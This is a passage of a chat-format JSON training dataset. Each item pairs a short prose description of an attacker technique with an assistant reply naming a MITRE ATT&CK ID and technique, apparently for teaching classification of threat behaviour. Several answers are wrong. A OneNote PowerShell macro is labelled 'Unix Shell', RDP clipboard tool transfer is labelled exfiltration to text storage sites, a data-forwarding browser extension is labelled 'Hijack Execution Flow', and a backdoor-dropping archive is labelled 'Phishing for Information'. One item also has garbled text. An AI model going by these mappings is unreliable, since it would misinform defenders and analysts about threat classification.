                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers used the Sysinternals tool 'sdelete' to securely delete the security logs."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A privilege escalation campaign targets improperly set setuid and setgid bits on system binaries to gain higher-level access."
            },
            {
                "role": "assistant",
                "content": "T1548.001 - Abuse Elevation Control Mechanism: Setuid and Setgid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker disables hardware-based key storage, forcing the operating system to fall back to software encryption with weak algorithms."
            },
            {
                "role": "assistant",
                "content": "T1600 - Weaken Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using Bing, the threat actor searches for exposed web pages that may contain sensitive information about the target organization."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder leverages PowerShell to alter the 'Balanced' power scheme, raising the CPU performance state and disabling sleep."
            },
            {
                "role": "assistant",
                "content": "T1653 - Power Settings"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan used Windows Command Shell commands like 'copy' and 'move' to stage payloads in the Temp directory."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor sets up a DNS over HTTPS service to function as a dead‑drop resolver, pulling encrypted payloads from the attacker’s server."
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Web Service: Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing Emond, the attacker schedules a JavaScript payload to execute when a scheduled task completes."
            },
            {
                "role": "assistant",
                "content": "T1546.014 - Event Triggered Execution: Emond"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employed a script to cleanse the malicious payload of any unique signatures or build identifiers, effectively removing tool-based indicators."
            },
            {
                "role": "assistant",
                "content": "T1027.005 - Obfuscated Files or Information: Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker utilizes the Pass the Ticket technique to access remote resources using forged Kerâ€™ tickets."
            },
            {
                "role": "assistant",
                "content": "T1550.003 - Use Alternate Authentication Material: Pass the Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The technique involves enabling profiling via COR_ENABLE_PROFILING and pointing COR_PROFILER to a malicious module to intercept and manipulate .NET execution."
            },
            {
                "role": "assistant",
                "content": "T1574.012 - Hijack Execution Flow: COR_PROFILER"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged a zero‑day exploit in the hypervisor to gain control over a virtual private server instance."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Collected data is packaged into a .rar archive by the malware prior to transfer."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cybercriminal registers a Discord server under a fabricated brand name to lure users into downloading a trojan disguised as a game mod."
            },
            {
                "role": "assistant",
                "content": "T1585.001 - Establish Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker manipulates group policy to set the account lockout threshold to zero, instantly locking out users."
            },
            {
                "role": "assistant",
                "content": "T1531 - Account Access Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set employed a tool that backdated the creation time of its command-and-control binaries to blend in with system files."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion employed VNC remote services to capture the screen and issue commands on the host."
            },
            {
                "role": "assistant",
                "content": "T1021.005 - Remote Services: VNC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through privilege escalation, the adversary manipulates a system daemon to terminate critical services, causing a denial‑of‑service condition."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker accesses the Windows Registry to retrieve stored credentials in plain text for later use."
            },
            {
                "role": "assistant",
                "content": "T1552 - Unsecured Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs \"net view\" on a compromised host to list all computers on the domain."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary enumerates routing tables and network interfaces to reconstruct the victim's network architecture."
            },
            {
                "role": "assistant",
                "content": "T1590.004 - Gather Victim Network Information: Network Topology"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit the Outlook Forms feature to execute PowerShell commands silently."
            },
            {
                "role": "assistant",
                "content": "T1137.003 - Office Application Startup: Outlook Forms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker queries Active Directory for domain trust relationships to map trusted external domains."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware on the victim's machine extracted stored cookies from the Chrome browser to hijack active sessions on a social networking site."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the malware unpacked a payload that had been stripped of its import table and other structural information."
            },
            {
                "role": "assistant",
                "content": "T1027.008 - Obfuscated Files or Information: Stripped Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor conducts DNS queries for unknown hostnames within the victim's namespace to infer active services."
            },
            {
                "role": "assistant",
                "content": "T1590.002 - Gather Victim Network Information: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro in a OneNote document launches a PowerShell process that downloads and installs a credential stealer."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By compromising a Windows Certificate Store, the attacker copies the private key and associated certificate to sign malware payloads."
            },
            {
                "role": "assistant",
                "content": "T1588.004 - Obtain Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A sophisticated campaign utilizes launchctl to establish a hidden launch daemon that persists across system updates."
            },
            {
                "role": "assistant",
                "content": "T1569.001 - System Services: Launchctl"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses a botnet to generate massive numbers of DNS queries to the victim's DNS resolver, saturating its processing capacity and causing a service outage on the endpoint."
            },
            {
                "role": "assistant",
                "content": "T1499.002 - Endpoint Denial of Service: Service Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaign includes dumping the Securityd daemon's memory to retrieve saved credentials from the device's keychain."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary uses low‑level packet crafting tools to generate massive amounts of malformed TCP packets, flooding the victim's network and causing denial of service."
            },
            {
                "role": "assistant",
                "content": "T1498.001 - Network Denial of Service: Direct Network Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The breach involved using a compromised Azure function to call the Key Vault API and dump stored secrets."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary employs a signed binary, rundll32.exe, to load and execute a malicious DLL."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - System Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistence is established by inserting a reference to the malicious binary in the 'RunOnce' registry location, reopening it after each reboot."
            },
            {
                "role": "assistant",
                "content": "T1547.007 - Boot or Logon Autostart Execution: Re-opened Applications"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivers a payload that creates a backdoor account with a random username on the victim’s system."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker distributes a fake software update zip file; when the user runs the installer, it silently installs ransomware."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By reusing credentials from a breached third‑party vendor, the attacker accessed the victim’s SaaS platform without raising alerts."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker deploys a worm that, upon detection, executes a command to wipe the disk’s master boot record (MBR) and all partition tables."
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Wipe: Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker replaces the Terminal Services executable with a compromised version to execute arbitrary commands whenever a RDP session is initiated."
            },
            {
                "role": "assistant",
                "content": "T1505.005 - Server Software Component: Terminal Services DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use HTTP header manipulation to make their C2 communications appear as regular web browsing traffic."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Abusing the 'sudo' timestamp file to bypass password prompts and gain root."
            },
            {
                "role": "assistant",
                "content": "T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker replaces the SecureString constructor with a custom wrapper that logs the plaintext password before encryption."
            },
            {
                "role": "assistant",
                "content": "T1056.004 - Input Capture: Credential API Hooking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the operation, the threat actor performs DHCP spoofing to replace the default gateway with a device they control, allowing full network eavesdropping."
            },
            {
                "role": "assistant",
                "content": "T1557.003 - Adversary-in-the-Middle: DHCP Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group abuses a trusted third‑party file sharing service to upload a weaponized macro document into the target's environment."
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Stage Capabilities: Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool enumerates all services, identifies those with weak permissions, and modifies them to execute a reverse shell."
            },
            {
                "role": "assistant",
                "content": "T1569 - System Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker swapped the OS kernel image on an embedded device with a compromised version."
            },
            {
                "role": "assistant",
                "content": "T1601 - Modify System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a staging area on a compromised Linux host by placing files in /tmp/stage before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code modifies the plist for syslogd on macOS to stop logging, effectively erasing future logs."
            },
            {
                "role": "assistant",
                "content": "T1070.002 - Indicator Removal: Clear Linux or Mac System Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By infiltrating the internal messaging platform, the threat group scraped chat logs for unsecured login details and secret keys."
            },
            {
                "role": "assistant",
                "content": "T1552.008 - Unsecured Credentials: Chat Messages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A sophisticated attack modifies the internal module list of a security service, planting a rogue shared library that the service loads on its next operation."
            },
            {
                "role": "assistant",
                "content": "T1055.015 - Process Injection: ListPlanting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT’s researchers observed the use of a forged code signing certificate created with a compromised root certificate to sign malicious drivers."
            },
            {
                "role": "assistant",
                "content": "T1587.002 - Develop Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors employ tools to dump and reuse Kerberos tickets, enabling them to impersonate users and maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1558 - Steal or Forge Kerberos Tickets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The trojan employs hardware breakpoint detection by reading the debug registers DR0-DR7 via inline assembly."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After a successful brute-force attack, the adversary obtains a legitimate user password and accesses sensitive data."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries leveraged a zero‑day exploit in the operating system kernel to gain elevated privileges and install custom exfiltration modules."
            },
            {
                "role": "assistant",
                "content": "T1588.005 - Obtain Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The manipulation of system logs and event logs on compromised systems allows attackers to cover their tracks as they conduct lateral movement across the network."
            },
            {
                "role": "assistant",
                "content": "T1070 - Indicator Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An espionage group purchased a trove of firmware binaries for a target’s IoT devices from a covert vendor."
            },
            {
                "role": "assistant",
                "content": "T1597.002 - Search Closed Sources: Purchase Technical Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker hijacked DNS servers to create a botnet that redirected traffic to malicious sites."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware turns off the cryptographic accelerator, causing cryptographic operations to fall back to software and reducing security."
            },
            {
                "role": "assistant",
                "content": "T1600.002 - Weaken Encryption: Disable Crypto Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries perform lateral movement by exploiting the Remote Desktop Protocol's clipboard redirection to transfer tools."
            },
            {
                "role": "assistant",
                "content": "T1567.003 - Exfiltration Over Web Service: Exfiltration to Text Storage Sites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious browser extension forwards browsing data to a remote server via WebSocket connections."
            },
            {
                "role": "assistant",
                "content": "T1574 - Hijack Execution Flow"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware performed banner grabbing on open ports to identify the versions of services running on the network."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary gains administrative access to a corporate DNS server and modifies zone files to redirect internal traffic to malicious IPs."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group clears network share connections after staging files for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1070.005 - Indicator Removal: Network Share Connection Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The covert channel transmits data using a custom Base64 variant, which the malware decodes before reconstructing the original file."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious payload enumerated system files using the Windows API function FindFirstFile and related calls."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits the Windows backup and restore APIs to perform a transaction that injects malicious code into a system process, achieving persistence via Process Doppelgänging."
            },
            {
                "role": "assistant",
                "content": "T1055.013 - Process Injection: Process Doppelgänging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware automatically copies its executable to any inserted USB flash drive and creates an autorun.inf file to execute when the drive is accessed on another computer."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages WMI with the command \"wmic os get Caption,Version,BuildNumber\" to pull operating system metadata."
            },
            {
                "role": "assistant",
                "content": "T1592 - Gather Victim Host Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary exploits weaknesses in session management protocols to hijack active sessions, allowing for lateral movement by posing as already authenticated users."
            },
            {
                "role": "assistant",
                "content": "T1563 - Remote Service Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker cloaks its traffic by imitating standard SIP (Session Initiation Protocol) calls."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker distributes a compressed .7z file titled \"MeetingAgenda.7z\" which, when extracted, drops a backdoor onto the victim's system."
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Phishing for Information: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-compromise action creates a hidden resource fork within a system utility, containing a backdoor that runs with the utility's privileges."
            },
            {
                "role": "assistant",
                "content": "T1564.009 - Hide Artifacts: Resource Forking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor queries public passive DNS services to enumerate subdomains associated with the target organization."
            },
            {
                "role": "assistant",
                "content": "T1596.001 - Search Open Technical Databases: DNS/Passive DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary installs a driver that redirects file writes to an attached USB drive, effectively stealing data."
            },
            {
                "role": "assistant",
                "content": "T1052.001 - Exfiltration Over Physical Medium: Exfiltration over USB"
            }
        ]
    },
    {
